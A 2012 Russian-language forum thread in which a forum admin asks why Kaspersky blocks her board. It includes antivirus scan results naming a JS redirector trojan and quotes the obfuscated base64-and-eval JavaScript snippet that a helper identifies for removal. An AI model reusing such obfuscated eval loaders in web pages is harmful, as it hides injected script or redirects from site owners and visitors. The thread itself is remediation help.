Прошу помочь: пользователям с Касперским закрыт вход на форум

Поделиться1Пн, 27 Авг 2012 23:11:05

Автор: intern
Заслуженный
Зарегистрирован: Чт, 8 Мар 2012
Сообщений: 40
Уважение: 0
Позитив: +2
Последний визит:
Сб, 22 Авг 2015 22:38:34

Сообщение по другим антивирусам:

Антивирусная база Результаты
nProtect JS:Trojan.Crypt.EZ
CAT-QuickHeal вирусов нет
McAfee вирусов нет
K7AntiVirus вирусов нет
TheHacker вирусов нет
VirusBuster вирусов нет
F-Prot вирусов нет
Symantec вирусов нет
Norman вирусов нет
TotalDefense вирусов нет
TrendMicro-HouseCall вирусов нет
Avast вирусов нет
eSafe вирусов нет
Kaspersky Trojan.JS.Redirector.wa
BitDefender JS:Trojan.Crypt.EZ
SUPERAntiSpyware вирусов нет
Sophos вирусов нет
Comodo вирусов нет
F-Secure JS:Trojan.Crypt.EZ
DrWeb вирусов нет
VIPRE Malware.JS.Generic (JS)
AntiVir вирусов нет
TrendMicro вирусов нет
McAfee-GW-Edition вирусов нет
Emsisoft Trojan.Script!IK
Jiangmin вирусов нет
Antiy-AVL вирусов нет
Microsoft вирусов нет
ViRobot вирусов нет
AhnLab-V3 вирусов нет
GData JS:Trojan.Crypt.EZ
Commtouch вирусов нет
ByteHero вирусов нет
VBA32 вирусов нет
PCTools вирусов нет
ESET-NOD32 вирусов нет
Rising вирусов нет
Ikarus Trojan.Script
Fortinet вирусов нет
AVG HTML/Framer
Panda вирусов нет

Кто может подсказать, есть ли реально вирус и как от него избавиться, если есть?

http://internation.mybb.ru

Пожалуйста, проблеме третий день.

0

Поделиться2Пн, 27 Авг 2012 23:57:08

Автор: Caligula
Заслуженный
Зарегистрирован: Вт, 15 Сен 2009
Сообщений: 1103
Уважение: +203
Позитив: +73
Пол: Мужской
Последний визит:
Пн, 8 Фев 2016 00:59:05

ключи для каспера или их софт с кряками на сайте выкладывались? если да, то никаких троянов нет, каспер просто заблочил ваш сайт за распространение пиратской продукции. пишите в службу поддержки, как правило на первый раз они прощают, если всё удалите.
если нет, тогда просто обождите денёк, такие вещи иногда бывают с любыми антивирусами.

Отредактировано Caligula (Пн, 27 Авг 2012 23:57:26)

0

Поделиться3Пн, 27 Авг 2012 23:59:42

Автор: intern
Заслуженный
Зарегистрирован: Чт, 8 Мар 2012
Сообщений: 40
Уважение: 0
Позитив: +2
Последний визит:
Сб, 22 Авг 2015 22:38:34

Caligula написал(а):

ключи для каспера или их софт с кряками на сайте выкладывались?

Все могло быть, хотя вряд ли. Сейчас поищу, спасибо.

Денек народ устал ждать, уже три дня прошло.

0

Поделиться4Вт, 28 Авг 2012 00:06:13

Автор: Maquis
Модератор
Зарегистрирован: Чт, 5 Ноя 2009
Сообщений: 1938
Уважение: +1963
Позитив: +1658
Предупреждения: ‡
Последний визит:
Сб, 26 Фев 2022 23:41:00

Да, Каспер перекрывает вход, действительно

0

Поделиться5Вт, 28 Авг 2012 00:13:06

Автор: intern
Заслуженный
Зарегистрирован: Чт, 8 Мар 2012
Сообщений: 40
Уважение: 0
Позитив: +2
Последний визит:
Сб, 22 Авг 2015 22:38:34

Поискала. На сайте - не выкладывалось.
В личке, конечно, все могло быть, это я не могу отследить, а отслеживает ли Касперский - для меня вопрос.

0

Поделиться6Вт, 28 Авг 2012 00:47:57

Автор: Frimen
Заслуженный
Зарегистрирован: Пн, 26 Янв 2009
Сообщений: 632
Уважение: +62
Позитив: +45
Пол: Мужской
Последний визит:
Вс, 8 Фев 2015 02:02:44

intern написал(а):

В личке, конечно, все могло быть, это я не могу отследить, а отслеживает ли Касперский - для меня вопрос.

нет личку никто не видит, даже Касперский

0

Поделиться7Вт, 28 Авг 2012 07:29:54

Автор: RUSSIAN_GOBLIN
Cтарожил
Зарегистрирован: Пн, 8 Окт 2007
Сообщений: 2554
Уважение: +708
Позитив: +596
Пол: Мужской
Последний визит:
Вт, 5 Окт 2021 21:21:25

intern, удалите это:

Код:

<!-- Obfuscated by MyObfuscator PRO v2.03 www.myobfuscate.com -->
<script language="javascript" type="text/javascript">var l1O='7kyJ+QHcpdyKnI3Yz9CP+Iybu1DdsVHZhZSOzgTO4ETPkl2PwhGcuMnavQHcpJ3Yz9Sdy5iclRnb1hmZlJ3LvoDc0RHai0zYyNHIiQHcpJ3YTFmdhpkI9U2ZhV3ZuFGbgQHcpdyKnI3YzxzJoUGdpJ3duQnbl1Wdj9GZ';var _0x362a=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","length"];function OII(_0x6ea4x2){var _0x6ea4x3=_0x362a[0];var _0x6ea4x4,_0x6ea4x5,_0x6ea4x6,_0x6ea4x7,_0x6ea4x8,_0x6ea4x9,_0x6ea4xa,_0x6ea4xb,_0x6ea4xc=0,_0x6ea4xd=_0x362a[1];do{_0x6ea4x7=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4x8=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4x9=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4xa=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4xb=_0x6ea4x7<<18|_0x6ea4x8<<12|_0x6ea4x9<<6|_0x6ea4xa;_0x6ea4x4=_0x6ea4xb>>16&0xff;_0x6ea4x5=_0x6ea4xb>>8&0xff;_0x6ea4x6=_0x6ea4xb&0xff;if(_0x6ea4x9==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4);} else {if(_0x6ea4xa==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x6ea4x5);} else {_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x6ea4x5,_0x6ea4x6);} ;} ;} while(_0x6ea4xc<_0x6ea4x2[_0x362a[5]]);;return _0x6ea4xd;} ;function lOI(_0x6ea4xf){var _0x6ea4x10=_0x362a[1],_0x6ea4xc=0;for(_0x6ea4xc=_0x6ea4xf[_0x362a[5]]-1;_0x6ea4xc>=0;_0x6ea4xc--){_0x6ea4x10+=_0x6ea4xf[_0x362a[2]](_0x6ea4xc);} ;return _0x6ea4x10;} ;eval(OII(lOI(l1O)));</script>

0

Поделиться8Вт, 28 Авг 2012 13:27:20

Автор: intern
Заслуженный
Зарегистрирован: Чт, 8 Мар 2012
Сообщений: 40
Уважение: 0
Позитив: +2
Последний визит:
Сб, 22 Авг 2015 22:38:34

Да, спасибо большое, из Касперского сообщение ушло.

Но это наш родной код: я админю совсем недавно по причине сваливания в неизвестность пред. админа. В этом месте ничего не менялось. Правильно ли я поняла, что антивирь его распознает как обфусцированный и из-за этого и орет? т.е. дело не в самой опасности кода, а в политике антивиря по борьбе с такими кодами?

0